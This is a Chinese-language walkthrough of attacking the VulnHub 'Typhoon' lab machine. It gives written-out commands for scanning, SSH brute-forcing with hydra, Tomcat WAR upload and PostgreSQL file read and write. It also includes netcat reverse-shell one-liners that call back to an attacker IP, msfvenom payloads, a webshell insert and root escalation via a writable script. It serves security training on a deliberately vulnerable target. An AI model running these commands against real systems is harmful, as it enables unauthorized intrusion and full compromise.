kali滲透綜合靶機(九)--Typhoon靶機
靶機下載地址:https://www.vulnhub.com/entry/typhoon-102,267/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24,進過分析,確定192.168.10.162是目標靶機
二、端口掃描
1. masscan --rate=10000 -p0-65535 192.168.10.162
三、端口服務識別
1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162
或nmap -sV -p- -A 192.168.10.162
四、漏洞查找與利用
21端口(ftp)
nmap掃描可以匿名訪問
瀏覽器訪問,發現什么都沒有
22端口(ssh)
發現ssh的版本是OpenSSH 6.6.1p1,存在用戶名枚舉漏洞,使用msf中的ssh枚舉腳本(auxiliary/scanner/ssh/ssh_enumusers)
使用cewl收集頁面可能是用戶的信息,並添加幾個常用的用戶名,制作一個用戶名字典
使用枚舉用戶腳本枚舉用戶
python 40136.py 192.168.10.162 -U user.txt
枚舉出來用戶名為vulnerablevm,www,admin,root,admin123
使用hydra破解密碼
hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下圖成功破解admin賬戶的密碼metallica
嘗試用admin賬戶ssh登錄目標,登錄成功
開始提權,提權方式與下面的提權方式一樣
25端口(smtp)
發現開放25端口,版本為Postfix smtpd
使用smtp-user-enum 枚舉用戶名
smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚舉出用戶名admin
53端口(DNS ISC BIND9.9.5-3)
查看是否存在漏洞,發現dns版本存在拒絕服務漏洞
80端口(http Apache httpd 2.4.7)
1.掃描網站后台目錄
1.1發現http://192.168.10.162/cms,嘗試弱口令,失敗
1.2漏洞庫查找是否有對應的漏洞
1.3在kali中打開msfconsole,並使用了以下exp
1.4成功獲得shell
1.5然后就是提權,提權方式有配置不當提權和內核提權
Drupal cms
2.1發現192.168.10.162/drupal/
2.2漏洞庫查找是否有對應的漏洞
2.3在kali中打開msfconsole,並使用了以下exp
2.4設置參數
2.5開始攻擊,成功獲得shell
2.6接下開便是提權了,提權方式和之前的一樣
1.3發現http://192.168.10.162/mongoadmin/
1.3.1發現是mondo的web管理頁面,點擊change database,出現如下
1.3.2點擊creds,發現賬戶密碼
1.3.3嘗試用ssh登錄,成功登陸
1.3.4查看系統版本以及內核版本
1.3.5在kali查看是否有對應的漏洞
1.3.6下載、編譯、提權
1.3.7利用sudo提權,前提是已經獲得當前普通用戶的密碼,並且當前用戶屬於sudo組,下圖成功獲得管理員權限
445端口
發現目標開放了445端口,使用enum4linux枚舉目標共享信息
發現允許空賬戶、空密碼登錄,共享文件typhoon
遠程掛載
mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt
8080(http Apache Tomcat/Coyote JSP engine 1.1)
發現開放了8080,瀏覽器訪問http://192.168.10.162:8080
dirb掃描http://192.168.10.162:8080
發現http://192.168.10.162:8080/manager/,提示需要輸入密碼
使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用戶名密碼
成功獲得tomcat用戶名密碼
使用獲得的用戶名登錄,發現tomcat 的版本是Version 7.0.52
使用metasploit的一個模塊tomcat_mgr_upload來嘗試進行登錄,利用成功,獲得meterpreter會話
輸入shell,發現當前shell不是交互式的shell,重新打開一個交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
開始提權
1.1查看內核版本以及系統版本
1.2利用系統版本的漏洞,進行本地提權
2.利用配置不當進行提權
2.2 我們需要使用Msfvenom創建一個bash代碼
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R
2.3之后將上面生成的惡意代碼在目標靶機系統中添加到script.sh文件
echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh
2.4在攻擊端開啟監聽,目標端執行腳本,下圖可以看到直接獲得管理員權限
3.1用低權限用戶將構造的命令寫入script.sh,令文件調用以root身份運行的/bin/sh,然后反彈shell,就可以獲得root權限了
Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh
3.2在kali攻擊端監聽,獲得管理員權限
Tomcat的后台管理獲取shell
http://192.168.10.162:8080/manager/html
1.msfvenom來生WAR文件
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war
2.使用7z l evil.war 查看evulll.war具體內容
3.上傳evil.war文件
4.攻擊端監聽,瀏覽器訪問上傳的惡意Web應用程序
http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp
5.這次攻擊端獲得反彈shell
6.接下來便是提權,方式和之前的一樣。
5432(PostgreSQL)
1.使用auxiliary/scanner/postgres/postgres_login,嘗試爆破PostgreSQL數據庫用戶名密碼
2.成功爆破出來PostgreSQL用戶名以及密碼
3.登錄數據庫
psql -h 192.168.10.162 -U postgres
4.列下目錄
5. 讀取權限允許的文件
select pg_read_file('postgresql.conf',0,1000);
6.建表,並使用copy從文件寫入數據到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
成功讀取到了/etc/passwd第一行
7.直接讀出所有數據
SELECT * FROM MrLee;
8.利用數據庫寫文件
INSERT INTO MrLee(t) VALUES('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
顯示里面有一句hello,MrLee,成功寫入文件,並成功讀取到源內容
9.寫入木馬
9.1創建OID,清空內容
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
//創建OID,清空內容
9.2接下來就是寫入木馬了,使用hex
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));
10.菜刀連接
11.接下來就是提權了
總結:
1.信息收集、目錄掃描、漏洞分析與利用
2.getshell方法
1.ssh爆破
2.lotus cms漏洞利用
3.Drupal cms漏洞利用
4.mongoadmin 數據庫管理web頁面查看用戶名、密碼
5.tomcat tomcat_mgr_upload漏洞
6.PostgreSQL未授權訪問
3.提權方法
1.sudo提權
2.內核版本提權
3.利用配置不當進行提權